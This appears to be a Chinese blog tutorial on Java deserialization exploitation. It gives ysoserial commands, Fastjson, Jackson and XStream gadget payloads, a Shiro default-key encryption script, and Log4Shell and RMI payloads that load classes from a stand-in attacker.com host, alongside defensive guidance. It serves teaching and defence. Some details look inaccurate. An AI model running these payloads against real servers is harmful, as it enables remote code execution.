反序列化不是魔法,而是漏洞:Java 反序列化攻击流程详解
本文转自 Acl0 并作补充
Java反序列化漏洞全解:原理、案例、利用与防护
本文全面解析Java反序列化漏洞,涵盖其原理、利用方式、实际案例、测试代码、攻击示例及防护措施。整合了ysoserial等工具的用法,提供可复现的攻击Payload,并补充了遗漏内容,旨在为开发者和安全研究人员提供一份详尽的参考指南。
1. 什么是Java反序列化漏洞?
Java反序列化漏洞是指攻击者通过精心构造的恶意序列化数据,在目标系统执行反序列化操作时触发恶意代码执行。这种漏洞利用了Java的
ObjectInputStream机制,自动还原序列化数据的对象状态。
反序列化基本流程
反序列化是将序列化字节流还原为Java对象的操作。以下是一个典型示例:
1
2 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
Object obj = ois.readObject(); // 潜在危险点:不可信数据可能触发恶意代码如果攻击者控制
object.ser的内容,并且系统中存在可被利用的“Gadget链”(利用链),反序列化过程可能导致远程代码执行(RCE)、文件操作或其他恶意行为。
漏洞核心要素
- 可控输入:攻击者能够提供恶意的序列化数据。
- 反序列化触发:应用调用
readObject()或通过易受攻击的库处理数据。- Gadget链:在反序列化时自动触发恶意代码的类和方法链。
2. 利用原理
Java反序列化攻击依赖于Gadget链,即在反序列化过程中触发的一系列方法调用。易受攻击的类通常包含
readObject()、readResolve()或finalize()等方法,可被操纵执行恶意代码。常见的攻击目标包括Apache Commons Collections、Fastjson、Jackson、XStream等库,以及Apache Shiro等框架。
主要攻击方式
- 命令执行:通过Gadget链调用
Runtime.getRuntime().exec()执行任意命令。- 远程类加载:触发JNDI查询,从攻击者控制的服务器加载恶意类。
- 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。
3. 常见Java反序列化漏洞与利用
以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。
工具准备:ysoserial
ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。
安装步骤:
1
2
3 git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests编译后生成
ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。
3.1 Apache Commons Collections(CC)
漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的
InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。利用原理:通过
InvokerTransformer和ChainedTransformer,结合LazyMap或TiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()。生成Payload(使用ysoserial):
1 java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
- Windows下使用
calc打开计算器,Linux可替换为gnome-calculator或xcalc。服务端测试代码(易受攻击):
1
2
3
4
5
6
7
8
9
10 import java.io.*;
import org.apache.commons.collections.map.LazyMap;
public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}攻击示例:
- 生成Payload:
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser。- 通过网络接口(文件上传或Socket)将
payload.ser发送到服务端。- 服务端反序列化Payload,执行
calc.exe。可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。
3.2 Fastjson(版本<1.2.47)
漏洞描述:Fastjson的
@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。利用Payload(JSON):
1
2
3
4
5
6 {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}创建恶意类:
- 编写
Exploit.java:
1
2
3
4
5
6
7 public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
- 编译并编码:
1
2 javac Exploit.java
base64 Exploit.class > exploit.b64
- 将base64内容插入JSON的
bytecodes字段。服务端测试代码(易受攻击):
1
2
3
4
5
6
7
8 import com.alibaba.fastjson.JSON;
public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}攻击示例:
- 将恶意JSON发送到服务端接口(例如通过HTTP POST)。
- Fastjson反序列化Payload,执行
calc命令。受影响版本:
- Fastjson ≤ 1.2.24:默认启用autotype。
- Fastjson ≤ 1.2.47:存在绕过方式(如使用
B@替代@type)。
3.3 Jackson(启用Default Typing)
漏洞描述:Jackson的
ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。利用Payload(JSON):
1
2
3
4
5
6 {
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}服务端测试代码(易受攻击):
1
2
3
4
5
6
7
8
9
10 import com.fasterxml.jackson.databind.ObjectMapper;
public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}攻击示例:
- 使用与Fastjson相同的
Exploit.java和base64编码。- 将JSON Payload发送到服务端接口。
- 服务端反序列化Payload,执行恶意代码。
3.4 XStream(版本<1.4.15)
漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。
利用Payload(XML):
1
2
3
4
5
6
7
8
9
10
11
12
13
14 <java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>服务端测试代码(易受攻击):
1
2
3
4
5
6
7
8
9 import com.thoughtworks.xstream.XStream;
public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}攻击示例:
- 生成base64编码的恶意类(参考Fastjson部分)。
- 将base64字符串嵌入XML Payload。
- 将XML发送到服务端,触发代码执行。
3.5 Apache Shiro RememberMe
漏洞描述:Apache Shiro的
rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。利用步骤:
- 使用ysoserial生成Payload:
1 java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
- 使用已知AES密钥加密Payload:
1
2
3
4
5
6
7
8
9
10
11
12 from Crypto.Cipher import AES
import base64
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
- 构造请求:
1
2
3 GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload攻击示例:
- 使用ysoserial生成CommonsCollections Payload。
- 使用默认或爆破的AES密钥加密。
- 设置
rememberMeCookie并发送请求,触发反序列化。
3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)
突然想到这个,也写一下~
漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理
${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。
利用Payload:
1 ${jndi:ldap://attacker.com/Exploit}攻击准备:
- 使用marshalsec启动LDAP服务:
1 java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
- 在
http://attacker.com/Exploit托管恶意类(Exploit.class)。服务端测试代码(易受攻击):
1
2
3
4
5
6
7
8
9
10 import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}攻击示例:
- 将Payload注入可记录的字段(例如HTTP
User-Agent头):
1
2
3 GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
- 服务端记录日志时触发JNDI查询,执行远程类。
4. 其他漏洞与利用
4.1 Spring Framework(Spring4Shell,CVE-2022-22965)
漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。
利用Payload:
1
2
3
4
5 POST /
Host: target.com
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。
4.2 Java RMI反序列化
漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。
利用示例:
- 使用ysoserial生成RMI Payload:
1 java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
- 将Payload发送到RMI服务端,触发远程类加载。
防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。
5. 检测与测试工具
以下工具可用于检测和测试反序列化漏洞:
6. 防护与加固
通用实践
- 避免反序列化不可信数据:禁止处理来自不可信源的数据。
- 使用类白名单:限制反序列化仅允许指定的类。
- 升级依赖:使用最新版本的库和框架。
- 应用安全补丁:定期更新JDK和依赖项。
具体防护措施
库/组件 防护措施 Commons Collections 升级到3.2.2+或4.1+;使用 ObjectInputFilter限制类。Fastjson 禁用autotype;使用 ParserConfig.getGlobalInstance().addAccept()设置白名单。Jackson 禁用 enableDefaultTyping();为ObjectMapper配置类白名单。XStream 使用 xstream.allowTypes()限制可反序列化的类。Apache Shiro 更换默认AES密钥;禁用 rememberMe或使用签名机制。Log4j2 升级到≥2.16.0;设置 log4j2.formatMsgNoLookups=true;禁用JNDI。Spring Framework 升级到≥5.3.18;限制数据绑定参数。 Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。 示例:使用ObjectInputFilter实现安全反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16 import java.io.*;
public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}
7. 总结
Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。
核心要点:
- 在反序列化前验证和过滤所有输入数据。
- 使用类白名单,避免使用危险方法如
readObject()。- 保持依赖项和JDK的更新。
- 使用ysoserial和Ysomap等工具测试应用漏洞。
通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

